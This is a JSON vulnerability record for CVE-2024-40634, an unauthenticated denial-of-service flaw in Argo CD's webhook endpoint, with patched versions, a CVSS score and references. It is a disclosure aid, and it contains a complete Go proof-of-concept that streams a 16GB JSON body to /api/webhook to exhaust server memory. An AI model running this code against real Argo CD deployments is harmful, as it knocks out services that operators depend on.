{"id":"CVE-2024-40634","aliases":["BIT-argo-cd-2024-40634","GHSA-jmvp-698c-4x3w","GO-2024-3002"],"url":"https://o3.security/vulnerability/CVE-2024-40634","summary":"Argo CD Unauthenticated Denial of Service (DoS) Vulnerability via /api/webhook Endpoint","details":"### Summary\nThis report details a security vulnerability in Argo CD, where an unauthenticated attacker can send a specially crafted large JSON payload to the /api/webhook endpoint, causing excessive memory allocation that leads to service disruption by triggering an Out Of Memory (OOM) kill. The issue poses a high risk to the availability of Argo CD deployments.\n\n### Details\nThe webhook server always listens to requests. By default, the endpoint doesn't require authentication. It's possible to send a large, malicious request with headers (in this case \"X-GitHub-Event: push\") that will make ArgoCD start allocating memory to parse the incoming request. Since the request can be constructed client-side without allocating large amounts of memory, it can be arbitrarily large. Eventually, the argocd-server component will get OOMKilled as it consumes all its available memory.\n\nThe fix would be to enforce a limit on the size of the request being parsed.\n\n### PoC\nPort-forward to the argocd-server service, like so:\n\n```console\nkubectl port-forward svc/argocd-server -n argocd 8080:443\n```\n\nRun the below code:\n\n```go\npackage main\n\nimport (\n\t\"crypto/tls\"\n\t\"io\"\n\t\"net/http\"\n)\n\n// Define a custom io.Reader that generates a large dummy JSON payload.\ntype DummyJSONReader struct {\n\tsize int64 // Total size to generate\n\tread int64 // Bytes already generated\n}\n\n// Read generates the next chunk of the dummy JSON payload.\nfunc (r *DummyJSONReader) Read(p []byte) (n int, err error) {\n\tif r.read >= r.size {\n\t\treturn 0, io.EOF // Finished generating\n\t}\n\n\tstart := false\n\tif r.read == 0 {\n\t\t// Start of JSON\n\t\tp[0] = '{'\n\t\tp[1] = '\"'\n\t\tp[2] = 'd'\n\t\tp[3] = 'a'\n\t\tp[4] = 't'\n\t\tp[5] = 'a'\n\t\tp[6] = '\"'\n\t\tp[7] = ':'\n\t\tp[8] = '\"'\n\t\tn = 9\n\t\tstart = true\n\t}\n\n\tfor i := n; i < len(p); i++ {\n\t\tif r.read+int64(i)-int64(n)+1 == r.size-1 {\n\t\t\t// End of JSON\n\t\t\tp[i] = '\"'\n\t\t\tp[i+1] = '}'\n\t\t\tr.read += int64(i) + 2 - int64(n)\n\t\t\treturn i + 2 - n, nil\n\t\t} else {\n\t\t\tp[i] = 'x' // Dummy data\n\t\t}\n\t}\n\n\tr.read += int64(len(p)) - int64(n)\n\tif start {\n\t\treturn len(p), nil\n\t}\n\treturn len(p) - n, nil\n}\n\nfunc main() {\n\t// Initialize the custom reader with the desired size (16GB in this case).\n\tpayloadSize := int64(16) * 1024 * 1024 * 1024 // 16GB\n\treader := &DummyJSONReader{size: payloadSize}\n\n\t// HTTP client setup\n\thttpClient := &http.Client{\n\t\tTimeout: 0, // No timeout\n\t\tTransport: &http.Transport{\n\t\t\tTLSClientConfig: &tls.Config{InsecureSkipVerify: true},\n\t\t},\n\t}\n\n\treq, err := http.NewRequest(\"POST\", \"https://localhost:8080/api/webhook\", reader)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// Set headers\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\treq.Header.Set(\"X-GitHub-Event\", \"push\")\n\n\tresp, err := httpClient.Do(req)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer resp.Body.Close()\n\n\tprintln(\"Response status code:\", resp.StatusCode)\n}\n```\n\n### Patches\nA patch for this vulnerability has been released in the following Argo CD versions:\n\nv2.11.6\nv2.10.15\nv2.9.20\n\n### For more information\nIf you have any questions or comments about this advisory:\n\nOpen an issue in [the Argo CD issue tracker](https://github.com/argoproj/argo-cd/issues) or [discussions](https://github.com/argoproj/argo-cd/discussions)\nJoin us on [Slack](https://argoproj.github.io/community/join-slack) in channel #argo-cd\n\n### Credits\nThis vulnerability was found & reported by Jakub Ciolek\n\nThe Argo team would like to thank these contributors for their responsible disclosure and constructive communications during the resolve of this issue\n","published":"2024-07-22T17:22:55.732Z","modified":"2026-08-12T03:51:46.238467813Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"Go","name":"github.com/argoproj/argo-cd","fixedVersion":null},{"ecosystem":"Go","name":"github.com/argoproj/argo-cd/v2","fixedVersion":"2.9.20"},{"ecosystem":"Go","name":"github.com/argoproj/argo-cd/v2","fixedVersion":"2.10.15"},{"ecosystem":"Go","name":"github.com/argoproj/argo-cd/v2","fixedVersion":"2.11.6"}],"fix":{"url":"https://github.com/argoproj/argo-cd/commit/46c0c0b64deaab1ece70cb701030b76668ad0cdc","label":"argoproj/argo-cd@46c0c0b"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/40xxx/CVE-2024-40634.json"},{"type":"ADVISORY","url":"https://github.com/argoproj/argo-cd/security/advisories/GHSA-jmvp-698c-4x3w"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-40634"},{"type":"FIX","url":"https://github.com/argoproj/argo-cd/commit/46c0c0b64deaab1ece70cb701030b76668ad0cdc"},{"type":"FIX","url":"https://github.com/argoproj/argo-cd/commit/540e3a57b90eb3655db54793332fac86bcc38b36"},{"type":"FIX","url":"https://github.com/argoproj/argo-cd/commit/d881ee78949e23160a0b280bb159e4d3d625a4df"},{"type":"PACKAGE","url":"https://github.com/argoproj/argo-cd"},{"type":"WEB","url":"https://pkg.go.dev/vuln/GO-2024-3002"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:46.238467813Z"}}